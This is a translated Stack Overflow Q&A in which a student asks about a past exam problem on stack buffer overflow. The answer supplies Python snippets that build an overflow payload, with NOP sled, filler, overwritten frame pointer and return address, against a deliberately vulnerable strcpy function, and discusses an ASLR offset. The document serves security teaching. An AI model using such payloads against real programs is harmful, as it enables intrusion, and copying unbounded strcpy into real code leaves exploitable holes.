【问题标题】:Buffer overflow with no securities?没有证券的缓冲区溢出?
【发布时间】:2015-05-11 05:29:03
【问题描述】:

我正在复习下周的考试,我遇到了一个过去的问题。

void func(char * arg)
{
     char buf[32];
     strcpy(buf, arg);
}

假设;

  • 完全没有防御措施
  • buf 从 0xbffebfb0 开始
  • (gdb) x/2wx $ebp 0xbffebfd8: 0xbffec068 0x08048fe1

a) 你想运行一个 24 字节长的有效载荷,应该将哪些字节复制到缓冲区中以进行攻击? (我想为 24 个字节填写 '\x90')

b) 如果启用了 ASLR,每次运行时将堆栈偏移 0-15 个字节,那么什么有效负载(在 python 打印语句中描述)将始终让上面的 shellcode 执行?或者为什么这样的有效载荷是不可能的?

【问题讨论】:

    标签: security x86 buffer buffer-overflow aslr


    【解决方案1】:

    a) gdb 的输出与此函数的正常编译不一致:缓冲区顶部与ebp 之间应该有 32 个字节的差异。但是,0xbffebfd8 - 0xbffebfb00x28(40 字节)。我假设这是不正确的,因为唯一的局部变量是 buf

    def hack(payload='\x90'*24):
        filler = 'A'*(32 - len(payload)) # for rest of buffer
        frame_ptr = struct.pack("<I", 0x42424242)
        ret = struct.pack("<I", 0xbffebfb0) # jump to top of buffer
        return payload + filler + frame_ptr + ret + '\0'
    

    b) 如果堆栈值每次变化 0-15 个字节,则需要插入一个 15 字节的 NOP sled。

    32(缓冲区长度)+ 4(保存的帧指针)= 36 36 - 15 = 21 个字节

    这没有足够的空间来容纳 24 字节的有效负载。如果上面奇怪的 gdb 输出是正确的,那么空间就足够了。

    print ("\x90"*15 + # nop sled
           payload +
           'A'*(40 - len(payload) - 15) + # filler
           struct.pack("<I", 0x42424242) + # saved frame pointer
           struct.pack("<I", 0xbffebfb0) + # saved return address
           '\0' )
    

    【讨论】:

      猜你喜欢
      • 1970-01-01
      • 1970-01-01
      • 2015-12-16
      • 1970-01-01
      • 2010-11-11
      • 1970-01-01
      • 2010-10-03
      • 2013-11-06
      • 2017-07-14
      相关资源
      最近更新 更多